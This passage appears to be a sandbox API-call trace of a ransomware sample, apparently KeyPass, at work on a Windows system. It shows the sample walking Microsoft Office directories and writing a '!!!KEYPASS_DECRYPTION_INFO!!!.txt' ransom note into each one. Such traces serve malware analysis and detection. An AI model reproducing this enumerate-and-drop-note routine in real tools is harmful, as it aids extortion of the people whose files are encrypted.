returned=".HXK" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK") returned=".HXK" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.461] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS") returned=".HXS" [0245.461] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC") returned=".HXC" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT") returned=".HXT" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK") returned=".HXK" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK") returned=".HXK" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS") returned=".HXS" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC") returned=".HXC" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT") returned=".HXT" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK") returned=".HXK" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK") returned=".HXK" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_WHATSNEW.XML") returned=".XML" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL") returned=".VSL" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL") returned=".VSL" [0245.462] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VVIEWRES.DLL") returned=".DLL" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WacLangPack2019Eula.txt") returned=".txt" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WacLangPackEula.txt") returned=".txt" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD") returned=".VRD" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML") returned=".XML" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD") returned=".VRD" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.463] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS") returned=".HXS" [0245.463] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.465] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC") returned=".HXC" [0245.465] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.465] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT") returned=".HXT" [0245.465] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK") returned=".HXK" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK") returned=".HXK" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS") returned=".HXS" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXC") returned=".HXC" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT") returned=".HXT" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK") returned=".HXK" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK") returned=".HXK" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD") returned=".VRD" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS") returned=".HXS" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC") returned=".HXC" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXT") returned=".HXT" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK") returned=".HXK" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.466] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_K_COL.HXK") returned=".HXK" [0245.466] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORD_WHATSNEW.XML") returned=".XML" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL") returned=".VSL" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL") returned=".DLL" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\wxpr.dll") returned=".dll" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL") returned=".VSL" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn") returned=".xsn" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn") returned=".xsn" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL") returned=".DLL" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLLEX.DLL") returned=".DLL" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM") returned=".CHM" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.467] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLSLICER.DLL") returned=".DLL" [0245.467] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.467] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.467] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.467] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.468] GetLastError () returned 0x3f0 [0245.468] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.468] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0245.469] GetFileType (hFile=0x620) returned 0x1 [0245.469] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.469] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.469] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.470] WriteFile (in: hFile=0x620, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.470] WriteFile (in: hFile=0x620, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.470] CloseHandle (hObject=0x620) returned 1 [0245.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79d98 [0245.471] FindNextFileW (in: hFindFile=0x2e79d98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.471] FindNextFileW (in: hFindFile=0x2e79d98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.471] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.471] FindNextFileW (in: hFindFile=0x2e79d98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.471] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL") returned=".ACL" [0245.471] FindNextFileW (in: hFindFile=0x2e79d98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.471] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.471] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.471] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.471] GetLastError () returned 0x3f0 [0245.471] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.471] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0245.472] GetFileType (hFile=0x624) returned 0x1 [0245.472] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.472] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.472] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.472] WriteFile (in: hFile=0x624, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.473] WriteFile (in: hFile=0x624, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.473] CloseHandle (hObject=0x624) returned 1 [0245.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79bd8 [0245.474] FindNextFileW (in: hFindFile=0x2e79bd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.474] FindNextFileW (in: hFindFile=0x2e79bd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.474] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.474] FindNextFileW (in: hFindFile=0x2e79bd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.474] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL") returned=".ACL" [0245.474] FindNextFileW (in: hFindFile=0x2e79bd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.474] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.474] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.474] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.474] GetLastError () returned 0x3f0 [0245.474] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.474] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0245.478] GetFileType (hFile=0x618) returned 0x1 [0245.478] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.478] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.478] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.479] WriteFile (in: hFile=0x618, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.479] WriteFile (in: hFile=0x618, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.479] CloseHandle (hObject=0x618) returned 1 [0245.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79998 [0245.480] FindNextFileW (in: hFindFile=0x2e79998, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.480] FindNextFileW (in: hFindFile=0x2e79998, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.480] FindNextFileW (in: hFindFile=0x2e79998, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM") returned=".HTM" [0245.480] FindNextFileW (in: hFindFile=0x2e79998, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL") returned=".XSL" [0245.480] FindNextFileW (in: hFindFile=0x2e79998, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\SERVWRAP.ASP") returned=".ASP" [0245.480] FindNextFileW (in: hFindFile=0x2e79998, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.480] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE") returned=".EXE" [0245.480] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.480] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.480] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.480] GetLastError () returned 0x3f0 [0245.480] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.480] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x62c [0245.496] GetFileType (hFile=0x62c) returned 0x1 [0245.496] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.496] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.496] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.496] WriteFile (in: hFile=0x62c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.497] WriteFile (in: hFile=0x62c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.497] CloseHandle (hObject=0x62c) returned 1 [0245.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79d18 [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program 